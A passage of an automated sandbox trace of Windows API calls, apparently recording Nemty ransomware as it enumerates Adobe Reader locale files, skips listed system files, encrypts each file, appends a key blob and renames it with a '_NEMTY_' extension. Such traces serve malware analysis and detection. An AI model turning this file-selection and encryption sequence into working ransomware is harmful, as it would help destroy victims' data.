cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.RUS", lpUsedDefaultChar=0x0) returned 12 [0182.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUS", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.RUS", lpUsedDefaultChar=0x0) returned 12 [0182.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.883] Sleep (dwMilliseconds=0x5) [0182.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20a8bd30, dwHighDateTime=0x1d561e8)) [0182.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20a8bd30, dwHighDateTime=0x1d561e8)) [0182.892] GetLastError () returned 0x0 [0182.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.892] GetLastError () returned 0x0 [0182.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.892] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.893] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.893] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.893] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="rMTcUhECQLDlx6B8iKKNkbEWosht4ZLHDDFi00KI7p6HLpvnOGyAvnMtABFXQUTZ\r\nqEysUDpQuknH2Qaxomb3yilZtY8qH7uN5dy67CPgnWmx2hPKHm+cYE/nTl4Zripc\r\no5ff0yr/s6jeXjNlvYk2YPEMyE2KiuLbbgfn3QXl7Nv8p4IiKiYQDfSbMQwzuIH7\r\nktDtf48VqwD/NG1R6gW9jcs0RdgBXxu5E+hIHX2/aemKJ1v5IGFPQQV6yi3Y6TGq\r\nT1u2542BnGLSua7EpzegjKk9u+xSrBiTFFKCjEQrwiqUDyXo2qYG7+3LtUSUqnYQ\r\nmEvlwS3g5EKsQbZREKrgpA==\r\n", pcchString=0x653e5dc) returned 1 [0182.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.893] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Checkers.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\checkers.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.893] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=126976) returned 1 [0182.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0182.893] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.893] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0182.902] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.902] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0182.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.903] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=126976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f000 [0182.903] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.903] CloseHandle (hObject=0x2e8) returned 1 [0182.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.903] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Checkers.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\checkers.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Checkers.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\checkers.rus._nemty_kgobjgd_")) returned 1 [0182.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.904] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.RUS", cAlternateFileName="")) returned 1 [0182.904] lstrcmpiW (lpString1="DigSig.RUS", lpString2=".") returned 1 [0182.904] lstrcmpiW (lpString1="DigSig.RUS", lpString2="..") returned 1 [0182.904] lstrcmpiW (lpString1="DigSig.RUS", lpString2="...") returned 1 [0182.904] lstrcmpiW (lpString1="DigSig.RUS", lpString2="windows") returned -1 [0182.904] lstrcmpiW (lpString1="DigSig.RUS", lpString2="$RECYCLE.BIN") returned 1 [0182.904] lstrcmpiW (lpString1="DigSig.RUS", lpString2="rsa") returned -1 [0182.904] lstrcmpiW (lpString1="DigSig.RUS", lpString2="NTDETECT.COM") returned -1 [0182.904] lstrcmpiW (lpString1="DigSig.RUS", lpString2="ntldr") returned -1 [0182.904] lstrcmpiW (lpString1="DigSig.RUS", lpString2="MSDOS.SYS") returned -1 [0182.904] lstrcmpiW (lpString1="DigSig.RUS", lpString2="IO.SYS") returned -1 [0182.904] lstrcmpiW (lpString1="DigSig.RUS", lpString2="boot.ini") returned 1 [0182.904] lstrcmpiW (lpString1="DigSig.RUS", lpString2="boot.ini") returned 1 [0182.905] lstrcmpiW (lpString1="DigSig.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0182.905] lstrcmpiW (lpString1="DigSig.RUS", lpString2="ntuser.dat") returned -1 [0182.905] lstrcmpiW (lpString1="DigSig.RUS", lpString2="desktop.ini") returned 1 [0182.905] lstrcmpiW (lpString1="DigSig.RUS", lpString2="CONFIG.SYS") returned 1 [0182.905] lstrcmpiW (lpString1="DigSig.RUS", lpString2="RECYCLER") returned -1 [0182.905] lstrcmpiW (lpString1="DigSig.RUS", lpString2="BOOTSECT.BAK") returned 1 [0182.905] lstrcmpiW (lpString1="DigSig.RUS", lpString2="bootmgr") returned 1 [0182.905] lstrcmpiW (lpString1="DigSig.RUS", lpString2="programdata") returned -1 [0182.905] lstrcmpiW (lpString1="DigSig.RUS", lpString2="appdata") returned 1 [0182.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.RUS", lpUsedDefaultChar=0x0) returned 10 [0182.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.RUS", lpUsedDefaultChar=0x0) returned 10 [0182.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUS", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.RUS", lpUsedDefaultChar=0x0) returned 10 [0182.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUS", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.RUS", lpUsedDefaultChar=0x0) returned 10 [0182.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.905] Sleep (dwMilliseconds=0x5) [0182.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20ab1e90, dwHighDateTime=0x1d561e8)) [0182.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20ab1e90, dwHighDateTime=0x1d561e8)) [0182.908] GetLastError () returned 0x0 [0182.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.908] GetLastError () returned 0x0 [0182.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.908] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.908] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.908] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.908] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="V7tzF346hEhfJVLfJiDuIoUoW6/uT3RTZSep3THdeQ7cDZ+VvwcwdTv1v8/CEXME\r\nK5epzbxZIQzPXm4x1ZhDsOzkBRKt0o6T6n/bNyvrPa90dUgSsOZKalE2P7S2lpow\r\nQl+5Xt1E0ynupPXAloCYXCEoq+QXTJU9t7TR/tnqZlOgFMXGscq4PjdESH+1q3r9\r\nIXts6iKWCOzC9z5w/WcXMwMr+BbCy/GyR0oG1iNbT4KCvaE2/bFzWznn3C/GKYkF\r\nwmZtcL4O3jrMY13MGaP6Z+VKC4uYkZ9eXMsztWOmwXpix+pdWegNPvifYWsQE4Xp\r\niqvQGNQYbTyJEOu6HxAwRQ==\r\n", pcchString=0x653e5dc) returned 1 [0182.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.909] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\DigSig.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\digsig.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.909] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=128512) returned 1 [0182.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0182.909] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.909] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0182.918] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.918] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0182.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.918] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=128512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f600 [0182.918] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.918] CloseHandle (hObject=0x2e8) returned 1 [0182.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0182.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.919] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\DigSig.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\digsig.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\DigSig.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\digsig.rus._nemty_kgobjgd_")) returned 1 [0182.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0182.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.920] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.RUS", cAlternateFileName="")) returned 1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2=".") returned 1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="..") returned 1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="...") returned 1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="windows") returned -1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="$RECYCLE.BIN") returned 1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="rsa") returned -1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="NTDETECT.COM") returned -1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="ntldr") returned -1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="MSDOS.SYS") returned -1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="IO.SYS") returned -1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="boot.ini") returned 1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="boot.ini") returned 1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="ntuser.dat") returned -1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="desktop.ini") returned 1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="CONFIG.SYS") returned 1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="RECYCLER") returned -1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="BOOTSECT.BAK") returned 1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="bootmgr") returned 1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="programdata") returned -1 [0182.920] lstrcmpiW (lpString1="DVA.RUS", lpString2="appdata") returned 1 [0182.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUS", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0182.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUS", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.RUS", lpUsedDefaultChar=0x0) returned 7 [0182.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUS", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0182.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUS", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.RUS", lpUsedDefaultChar=0x0) returned 7 [0182.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 